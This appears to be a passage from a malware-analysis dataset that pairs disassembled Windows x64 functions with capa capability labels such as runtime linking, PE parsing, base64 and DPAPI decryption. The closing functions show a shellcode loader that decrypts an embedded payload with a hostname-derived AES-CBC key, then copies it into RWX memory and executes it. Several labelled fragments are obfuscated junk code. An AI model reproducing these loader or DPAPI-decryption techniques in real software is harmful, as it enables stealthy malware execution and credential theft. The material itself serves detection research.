joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140064a30
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r13
push r14
sub rsp, 0x50
mov edi, r8d
mov r13, rdx
mov r14, rcx
call fcn.140057e40
xor ebx, ebx
cmp qword [0x140254588], rbx
mov rbp, rax
mov dword [rsp + 0x98], ebx
mov dword [rsp + 0x30], ebx
jne 0x140064b5c
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
mov rsi, rax
je 0x140064c6f
lea rdx, [0x14006f538]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140064c6f
mov rcx, rax
call fcn.140057d70
lea rdx, [0x14006f528]
mov rcx, rsi
mov qword [0x140254588], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.140057d70
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140254590], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.140057d70
lea rcx, [rsp + 0x98]
mov qword [0x140254598], rax
call fcn.140055300
test eax, eax
je 0x140064b0f
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.140054240
cmp dword [rsp + 0x98], 2
jne 0x140064b5c
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.140057d70
test rax, rax
mov qword [0x1402545a8], rax
je 0x140064b5c
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.140057d70
mov qword [0x1402545a0], rax
mov rcx, qword [0x1402545a0]
mov qword [rsp + 0x80], r12
cmp rcx, rbp
je 0x140064c08
cmp qword [0x1402545a8], rbp
je 0x140064c08
call fcn.140057f30
mov rcx, qword [0x1402545a8]
mov rsi, rax
call fcn.140057f30
test rsi, rsi
mov r12, rax
je 0x140064c08
test rax, rax
je 0x140064c08
call rsi
test rax, rax
je 0x140064bd3
lea rcx, [rsp + 0x34]
mov r9d, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140064bd3
test byte [rsp + 0x40], 1
jne 0x140064c08
lea rcx, [rsp + 0x30]
call fcn.140055350
test eax, eax
je 0x140064bf5
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.140054240
cmp dword [rsp + 0x30], 4
jb 0x140064c02
bts edi, 0x15
jmp 0x140064c46
bts edi, 0x12
jmp 0x140064c46
mov rcx, qword [0x140254590]
cmp rcx, rbp
je 0x140064c46
call fcn.140057f30
test rax, rax
je 0x140064c46
call rax
test rax, rax
mov rbx, rax
je 0x140064c46
mov rcx, qword [0x140254598]
cmp rcx, rbp
je 0x140064c46
call fcn.140057f30
test rax, rax
je 0x140064c46
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140254588]
call fcn.140057f30
mov r12, qword [rsp + 0x80]
test rax, rax
je 0x140064c6f
mov r9d, edi
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x140064c71
xor eax, eax
mov rbx, qword [rsp + 0x88]
add rsp, 0x50
pop r14
pop r13
pop rdi
pop rsi
pop rbp
ret
Function at 0x140066280
Capabilities:
Get geographical location

Disassembly:
sub rsp, 0x38
mov rax, qword [0x1400990c0]
xor rax, rsp
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x20]
mov r9d, 6
mov edx, 0x1004
mov byte [rsp + 0x26], 0
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0x1400662c7
or eax, 0xffffffff
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1400537a0
add rsp, 0x38
ret
lea rcx, [rsp + 0x20]
call fcn.140055bd0
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1400537a0
add rsp, 0x38
ret
Function at 0x14006aaa0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbx
push rbp
push r14
sub rsp, 0x20
xor ebx, ebx
test rcx, rcx
mov r14, rdx
mov rbp, rcx
je 0x14006ab54
movsxd rax, dword [rcx + 0x3c]
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rdi
mov edi, dword [rax + rcx + 0x88]
mov esi, ebx
add rdi, rcx
cmp dword [rdi + 0x18], ebx
jbe 0x14006ab4f
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r13
mov r13, rbx
mov r12, rbx
nop
nop
mov eax, dword [rdi + 0x20]
mov rdx, r14
add rax, r13
mov ecx, dword [rax + rbp]
add rcx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x14006ab1f
mov eax, dword [rdi + 0x24]
mov ecx, dword [rdi + 0x1c]
add rax, r12
add rcx, rbp
movzx edx, word [rax + rbp]
mov ebx, dword [rcx + rdx*4]
add rbx, rbp
add esi, 1
add r13, 4
add r12, 2
cmp esi, dword [rdi + 0x18]
jb 0x14006aaf0
mov r13, qword [rsp + 0x58]
mov r12, qword [rsp + 0x50]
mov rax, rbx
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
pop rbp
pop rbx
ret
mov rax, rbx
jmp 0x14006ab3c
mov rax, rbx
add rsp, 0x20
pop r14
pop rbp
pop rbx
ret
Function at 0x14053acc7
Capabilities:
Encode data using base64

Disassembly:
xor dword [rsp + rdx*4 + 0x18], r9d
lea rdi, [rax + r10*2 - 0x534063d8]
mov r8, qword [rsp + rdx*2 + 0x18]
call fcn.1405f35b7

Function at 0x140598415
Capabilities:
Encode data using base64

Disassembly:
neg esi
push rcx
not esi
ror esi, 3
neg esi
div cl
cbw
rol dword [rsp + rbx + 0xaa], cl
mov qword [rsp + rbx + 0xaa], rdi
call fcn.14058fe66

Function at 0x1405afa3b
Capabilities:
Authenticate hmac

Disassembly:
and word [rsp + rax + 0x58ab], si
sar dword [rsp + rax*2 + 0xb157], 0xfc
mov rdi, qword [rsp + rax*4 + 0x162b4]
mov qword [rsp + rax + 0x58b3], rdx
je 0x1405163dd
xor dword [rsp + rax*2 + 0xb15e], r9d
jmp 0x140596fe7
mov qword [rsp + rax*2 - 0xb156], rax
xor r9d, 0x4206539f
neg rax
ror r9d, 3
ror word [rsp + rax + 0x58b8], 0xc2
movzx esi, dl
neg edx
mov qword [rsp + rax*4 + 0x162b4], rdi
jle 0x1405aaeac

Function at 0x1405ccfbb
Capabilities:
Encode data using base64

Disassembly:
mov r8, qword [rsp + r11*2 - 0x664e462]
movsxd rax, eax
mov qword [rsp + r11 - 0x3327231], 0x499e3a11
adc rdi, rax
mov ecx, dword [r9 + r11 - 0x3327239]
not r11d
not dword [rsp + rsi*4 - 0x2ad50b]
push rsi
mov eax, dword [rsi + r9 - 0xab541]
call fcn.140609eb1
sal rdx, cl
rol eax, 1
ror r8w, cl
call fcn.14057c2fe

Function at 0x1405d0d9c
Capabilities:
Parse pe header

Disassembly:
lea r10, [rsi + r10 + 0x164f6ef1]
xor edx, r8d
mov qword [rsp + rsi + 0x164f6eed], rbp
push rbp
xor edx, 0x3021de39
lea edx, [rdx + rsi*8 + 0x2e5db55a]
neg edx
movsx eax, byte [rsp + rsi + 0x164f6eef]
lea edx, [rsi + rdx - 0x796d3eaf]
sub word [rsp + rsi + 0x164f6eed], 0x9d02
jge 0x1404a0f39

Function at 0x14061081b
Capabilities:
Encode data using base64

Disassembly:
inc sil
ror eax, cl
lea rdx, [rcx + rcx - 0x6a686762]
xor sil, 0x9c
mov qword [rsp + rbx*2 - 0x1485c], r10
push rbx
not sil
sal dword [rsp + rax*2 + 0xb], 0xa7
call fcn.1404ca896
Function at 0x14001134d
Capabilities:
Enumerate processes

Disassembly:
jmp 0x140016270
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x578
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xf6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x598]
mov rax, qword [0x14002a040]
xor rax, rbp
mov qword [rbp + 0x548], rax
lea rcx, [0x1400300d7]
call fcn.140011758
nop
mov dword [rbp + 0x10], 0x238
xor edx, edx
mov ecx, 2
call fcn.140011348
mov qword [rbp + 0x268], rax
cmp qword [rbp + 0x268], 0xffffffffffffffff
jne 0x140016379
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rbp + 0x4a8]
call fcn.140011203
mov qword [rbp + 0x538], rax
mov rax, qword [rbp + 0x538]
mov qword [rbp + 0x540], rax
mov r8, qword [rbp + 0x540]
lea rdx, [0x1400252c0]
lea rcx, [rbp + 0x288]
call fcn.140011190
nop
lea rcx, [rbp + 0x4a8]
call fcn.140011672
nop
lea rcx, [rbp + 0x288]
call fcn.140011253
mov r9d, 0x10
lea r8, [0x140025310]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov dword [rbp + 0x4e4], 0
lea rcx, [rbp + 0x288]
call fcn.140011672
mov eax, dword [rbp + 0x4e4]
jmp 0x140016478
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x268]
call fcn.14001146f
test eax, eax
je 0x1400163e5
mov rcx, qword [rbp + 0x570]
call fcn.140011253
mov rdx, rax
lea rcx, [rbp + 0x3c]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x1400163cc
mov eax, dword [rbp + 0x18]
mov dword [rbp + 0x2c4], eax
mov rcx, qword [rbp + 0x268]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, dword [rbp + 0x2c4]
jmp 0x140016478
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x268]
call fcn.140011677
test eax, eax
jne 0x14001638d
jmp 0x140016468
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rbp + 0x508]
call fcn.140011203
mov qword [rbp + 0x538], rax
mov rax, qword [rbp + 0x538]
mov qword [rbp + 0x540], rax
mov r8, qword [rbp + 0x540]
lea rdx, [0x140025320]
lea rcx, [rbp + 0x2e8]
call fcn.140011190
nop
lea rcx, [rbp + 0x508]
call fcn.140011672
nop
lea rcx, [rbp + 0x2e8]
call fcn.140011253
mov r9d, 0x10
lea r8, [0x140025310]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
lea rcx, [rbp + 0x2e8]
call fcn.140011672
nop
mov rcx, qword [rbp + 0x268]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140024540]
call fcn.140011627
mov rax, rdi
mov rcx, qword [rbp + 0x548]
xor rcx, rbp
call fcn.140011366
lea rsp, [rbp + 0x558]
pop rdi
pop rbp
ret

Function at 0x1400113f2
Capabilities:
Terminate process

Disassembly:
jmp 0x14001bb60
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x140011514
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001ceb0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001ced0
xor al, al
jmp 0x14001cf51
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001cee3
xor al, al
jmp 0x14001cf51
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001cf0d
xor al, al
jmp 0x14001cf51
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001cf21
xor al, al
jmp 0x14001cf51
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001cf33
xor al, al
jmp 0x14001cf51
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001cf4f
xor al, al
jmp 0x14001cf51
mov al, 1
add rsp, 0x38
ret
Function at 0x14001aca0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140011799
movzx eax, al
test eax, eax
jne 0x14001acc0
mov ecx, 7
call fcn.140011631
nop
mov byte [rsp + 0x20], 0
call fcn.14001166d
mov byte [rsp + 0x21], al
cmp dword [0x14002ab78], 1
jne 0x14001ace4
mov ecx, 7
call fcn.140011631
nop
jmp 0x14001ad3c
cmp dword [0x14002ab78], 0
jne 0x14001ad37
mov dword [0x14002ab78], 1
lea rdx, [0x140023660]
lea rcx, [0x140023330]
call fcn.140011343
test eax, eax
je 0x14001ad18
mov eax, 0xff
jmp 0x14001ae41
lea rdx, [0x140023220]
lea rcx, [section..rdata]
call fcn.140011659
mov dword [0x14002ab78], 2
jmp 0x14001ad3c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.14001161d
call fcn.14001153c
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x14001ad99
mov rcx, qword [rsp + 0x30]
call fcn.1400112ad
movzx eax, al
test eax, eax
je 0x14001ad99
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140031020]
nop
call fcn.1400115a0
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14001adcd
mov rcx, qword [rsp + 0x38]
call fcn.1400112ad
movzx eax, al
test eax, eax
je 0x14001adcd
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011735
nop
call fcn.14001aef0
mov dword [rsp + 0x28], eax
call fcn.140011514
movzx eax, al
test eax, eax
jne 0x14001adec
mov ecx, dword [rsp + 0x28]
call fcn.140011087
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14001adfb
call fcn.140011744
nop
xor edx, edx
mov cl, 1
call fcn.14001127b
mov eax, dword [rsp + 0x28]
jmp 0x14001ae41
add rsp, 0x68
ret
Function at 0x1800025e0
Capabilities:
Encrypt data using dpapi

Disassembly:
mov r11, rsp
mov qword [r11 + 0x20], rbx
push rsi
sub rsp, 0x70
mov eax, dword [rdx + 8]
xor ebx, ebx
sub eax, dword [rdx]
mov rsi, rcx
mov dword [rsp + 0x50], eax
lea rcx, [r11 - 0x28]
mov rax, qword [rdx]
xor r9d, r9d
mov qword [r11 - 0x20], rax
xor r8d, r8d
lea rax, [r11 - 0x38]
mov dword [rsp + 0x40], ebx
mov qword [r11 - 0x48], rax
xor edx, edx
mov dword [rsp + 0x28], ebx
mov qword [r11 - 0x58], rbx
mov qword [r11 - 0x30], rbx
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x18000271b
mov qword [rsp + 0x80], rbp
mov rbp, qword [rsp + 0x48]
mov qword [rsi], rbx
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], rbx
mov qword [rsp + 0x88], rdi
mov qword [rsp + 0x90], r14
mov r14d, dword [rsp + 0x40]
add r14, rbp
mov rbx, r14
sub rbx, rbp
je 0x1800026e3
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x18000273e
cmp rbx, 0x1000
jb 0x1800026ac
lea rcx, [rbx + 0x27]
cmp rcx, rbx
jbe 0x180002744
call fcn.1800037f8
test rax, rax
je 0x180002715
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1800026b7
mov rcx, rbx
call fcn.1800037f8
mov rdi, rax
mov qword [rsi], rdi
lea rcx, [rdi + rbx]
mov qword [rsi + 8], rdi
mov r8, rbx
mov qword [rsi + 0x10], rcx
mov rdx, rbp
mov rcx, rdi
call fcn.180005a60
sub rdi, rbp
mov rbp, qword [rsp + 0x48]
add rdi, r14
mov qword [rsi + 8], rdi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rdi, qword [rsp + 0x88]
mov rax, rsi
mov rbp, qword [rsp + 0x80]
mov r14, qword [rsp + 0x90]
mov rbx, qword [rsp + 0x98]
add rsp, 0x70
pop rsi
ret
call fcn.180008724
int3
lea rdx, str.Failed_to_decrypt_data.
lea rcx, [rsp + 0x60]
call fcn.180001180
lea rdx, [0x18001cdb8]
lea rcx, [rsp + 0x60]
call fcn.180004b58
int3
call fcn.1800035a0
int3
call fcn.180001140
int3
Function at 0x140002f20
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002f6a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002f6a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002f6a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002f6a
cmp dword [rcx + 0x84], 0xe
jbe 0x140002f6a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002f6c
xor al, al
add rsp, 0x28
ret

Function at 0x14003751c
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + rax*2 - 0xa440032], r10
mov qword [rsp + rax*8 - 0x29100128], rax
pop rdx
xor dword [rsp + rax*2 - 0xa44003a], edi
mov r10, qword [rsp + rdx - 0x5220015]
rol r8b, 0x21
movsxd rdi, edi
adc r11, rdi
pop r8
mov qword [rsp + rdx*2 - 0xa440042], 0xffffffff9abc5d2b
neg r9b
mov rax, qword [rsi + rax - 0x5220025]
lea rdi, [r9*2 + 0x78262c95]
mov ebx, dword [rdx + rsi - 0x522001d]
dec dx
neg edx
add rsi, 0xc
lea r8, [rdi*4 + 0x46264190]
call fcn.140057fa8
lea rbp, [rbp + r9*8 - 0x50c]
rol r9d, 0x3d
lea rdi, [rax + rdi*8 - 0x59c1e0d5]
neg r9d
xor ebx, r10d
bswap ebx
neg ebx
xor eax, 0x7b98ef39
lea ebx, [rdx + rbx + 0x616fbfce]
inc al
movsx r8d, r9b
rol ebx, 1
or dx, r9w
sbb al, r9b
lea rcx, [rdi + r8*2 - 0x686c807c]
dec ebx
push r10
ror di, 0xca
jb 0x140057230
call fcn.140046c83

Function at 0x14003e021
Capabilities:
Encode data using base64

Disassembly:
movzx ebx, byte [rax + rbp]
mov qword [rsp + rax*2], rax
movsx edi, word [rsp + rax + 0xa]
lea rbp, [rbp + rax*2 + 1]
sub r9, 0x19904d39
neg r8w
xor bl, r10b
pop rdx
rol bl, 1
ror r9b, 7
jae 0x140025867
mov r9d, 0x523dd820
movzx edi, r9b
jmp 0x14004610d
movzx ecx, byte [rbp + rdi*2 - 0x40]
xor cl, r10b
ror cl, 1
lea r8, [r9*4 - 0x426b307b]
lea rax, [r8*2 - 0x2051ec66]
call fcn.140044cb7

Function at 0x14004a6ae
Capabilities:
Encode data using base64

Disassembly:
shl ecx, 0xd0
neg dil
jmp 0x14004f305
xor r10b, dil
ror rbx, 0xc7
cmovb eax, ecx
setae r8b
add rdi, rsp
sar r8w, 0x6d
cmovnp r9d, eax
mov rcx, qword [rdi + rdx*2 - 0x40540000]
lea rdi, [rdx + rax*8 + 0x69ab4721]
mov qword [rsi + rdx*2 - 0x40540000], rcx
jmp r11
mov qword [r8 + rsi - 1], rdi
call fcn.140027a9b
inc edi
bswap edi
mov ecx, 0xbf12c8ad
lea edi, [rdi + rbx*8 - 0x20ec2]
mov qword [rsp + rbx - 0x75], r10
xor dword [rsp + rbx - 0x75], edi
lea r10, [rcx + rdx*4 + 0x60ad1782]
movzx eax, cx
pop r10
ror eax, cl
not ax
movsxd rdi, edi
adc r11, rdi
add cx, dx
seto al
mov r9d, 0x4d23dc06
movzx edi, byte [rbp + rbx*8 - 0x3a4]
lea rbp, [rbx + rbp - 0x70]
movsx r8d, cl
xor dil, r10b
sar edx, cl
jbe 0x14003750d
xor dil, cl
sal r8, 0x27
adc dil, 0xad
jmp 0x14002bd4c
sal edx, 0x4b
xor r9w, bx
inc dil
sub ebx, 0x8126b91f
and dx, 0x6ae
jge 0x140039b17

Function at 0x14005136b
Capabilities:
Encode data using base64

Disassembly:
xor r8d, r10d
mov qword [rsp], rax
dec r8d
movsx edi, al
sub word [rsp + 6], di
jns 0x14003acb2
Function at 0x140055ccf
Capabilities:
Encode data using base64

Disassembly:
xor dword [rsp + rax*4 - 0x702c9044], edi
neg r10
xor qword [rsp + rcx - 0x1c0b240d], rax
pop r9
mov r10, qword [rsp + rcx - 0x1c0b240d]
sub rcx, rdx
movsxd rdi, edi
add r11, rdi
push rax
mov rax, qword [rsi + r9 - 0x1c0b2415]
lea rdi, [r9 + rdx - 0x16fd26a]
lea rsi, [rcx + rsi + 0x7e1a477b]
call fcn.14004bdc7
mov edx, 0x9a256b88
mov qword [rsp + rax - 0x1c0b2405], r10
mov r10d, eax
jae 0x14005b471
bswap edi
push rax
inc edi
mov qword [rsp + rax - 0x1c0b240d], 0x1fb42296
mov qword [rsp + rax*2 - 0x3816481a], rcx
ror edi, 2
rol cl, 0xc6
or ecx, eax
not edi
sub byte [rsp + rax*2 - 0x38164821], al
jne 0x14002c54c
jno 0x140027a07

Function at 0x14005aba3
Capabilities:
Encode data using base64

Disassembly:
ror r8w, 1
add r9d, edi
dec r8w
add rcx, 0x66b4af38
movzx eax, cx
xor r10w, r8w
call fcn.1400434f4
xor r8w, r10w
add r9w, 0x8088
shl ecx, 0xfb
jp 0x14005687f
xor r8w, 0xe0a3
add r9w, dx
xchg dl, r9b
sbb r8w, 0x810a
jmp 0x14003a220
call fcn.1400543d1
dec eax
lea r8, [r9*8 + 0x35b4a802]
mov qword [rsp + rbx + 0x4767a5f2], r10
xor dword [rsp + rbx + 0x4767a5f2], eax
sal r9b, 0xe5
pop r10
not r9
movsx edi, dl
shl bx, cl
mov dword [rsi + rdi - 4], eax
push r9
lea rdi, [rdi - 0xdf9dff9]
xchg r8w, dx
movzx r8d, word [rbp + rbx + 0x47679004]
pop rcx
jne 0x1400526a8
call fcn.14003d7b6
Function at 0x2304213d4
Capabilities:
Get hostname

Disassembly:
push rbp
sub rsp, 0x130
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xc0], rcx
mov qword [rbp + 0xc8], rdx
mov dword [rbp - 0x54], 0x100
lea rdx, [rbp - 0x54]
lea rax, [rbp - 0x50]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetComputerNameA]
call rax
mov rdx, qword [rbp + 0xc8]
mov rax, qword [rbp + 0xc0]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov eax, dword [rbp - 0x54]
mov edx, eax
mov rax, qword [rbp + 0xc8]
cmp rdx, rax
cmovbe rax, rdx
mov rcx, rax
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0xc0]
mov r8, rcx
mov rcx, rax
call sub.msvcrt.dll_strncpy
nop
add rsp, 0x130
pop rbp
ret

Function at 0x230421461
Capabilities:
Encrypt or decrypt data via bcrypt

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov qword [rbp + 0x20], r8
mov qword [rbp + 0x28], r9
mov qword [rbp - 0x10], 0
mov qword [rbp - 0x18], 0
mov dword [rbp - 4], 0
mov dword [rbp - 0x1c], 0
lea rax, [rbp - 0x10]
mov r9d, 0
mov r8d, 0
lea rdx, section..rdata
mov rcx, rax
call sub.bcrypt.dll_BCryptOpenAlgorithmProvider
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
je 0x2304214c6
mov eax, dword [rbp - 4]
jmp 0x2304215d3
mov rax, qword [rbp - 0x10]
mov dword [rsp + 0x20], 0
mov r9d, 0x20
lea r8, str.ChainingModeCBC
lea rdx, str.ChainingMode
mov rcx, rax
call sub.bcrypt.dll_BCryptSetProperty
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
je 0x2304214ff
mov eax, dword [rbp - 4]
jmp 0x2304215d3
mov rax, qword [rbp - 0x10]
lea rdx, [rbp - 0x18]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov rcx, qword [rbp + 0x28]
mov qword [rsp + 0x20], rcx
mov r9d, 0
mov r8d, 0
mov rcx, rax
call sub.bcrypt.dll_BCryptGenerateSymmetricKey
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
je 0x230421545
mov eax, dword [rbp - 4]
jmp 0x2304215d3
mov rax, qword [rbp - 0x18]
mov r8d, dword [rbp + 0x18]
mov rdx, qword [rbp + 0x10]
mov dword [rsp + 0x48], 0
lea rcx, [rbp - 0x1c]
mov qword [rsp + 0x40], rcx
mov ecx, dword [rbp + 0x18]
mov dword [rsp + 0x38], ecx
mov rcx, qword [rbp + 0x10]
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 0x10
mov rcx, qword [rbp + 0x20]
mov qword [rsp + 0x20], rcx
mov r9d, 0
mov rcx, rax
call sub.bcrypt.dll_BCryptDecrypt
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
je 0x23042159f
mov eax, dword [rbp - 4]
jmp 0x2304215d3
mov rax, qword [rbp - 0x18]
test rax, rax
je 0x2304215b4
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sub.bcrypt.dll_BCryptDestroyKey
mov rax, qword [rbp - 0x10]
test rax, rax
je 0x2304215ce
mov rax, qword [rbp - 0x10]
mov edx, 0
mov rcx, rax
call sub.bcrypt.dll_BCryptCloseAlgorithmProvider
mov eax, 0
add rsp, 0x70
pop rbp
ret
Function at 0x2304215d9
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
lea rax, [rbp - 0x30]
mov edx, 0x20
mov rcx, rax
call fcn.2304213d4
mov rax, qword [0x2304296f0]
mov eax, dword [rax]
lea rdx, [rbp - 0x30]
mov r9, rdx
mov r8, qword [0x2304296d0]
mov edx, eax
mov rax, qword [0x2304296e0]
mov rcx, rax
call fcn.230421461
test eax, eax
je 0x23042162f
lea rax, str.Errore:_Decrittazione_fallita_n
mov rcx, rax
call fcn.230421380
jmp 0x23042169b
mov rax, qword [0x2304296f0]
mov eax, dword [rax]
mov eax, eax
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x230421673
lea rax, str.Errore:_Impossibile_allocare_memoria_n
mov rcx, rax
call fcn.230421380
jmp 0x23042169b
mov rax, qword [0x2304296f0]
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp - 8]
mov r8, rdx
mov rdx, qword [0x2304296e0]
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov rax, qword [rbp - 8]
call rax
nop
add rsp, 0x50
pop rbp
ret

Function at 0x2304218d0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.2304274c0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.2304274c0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]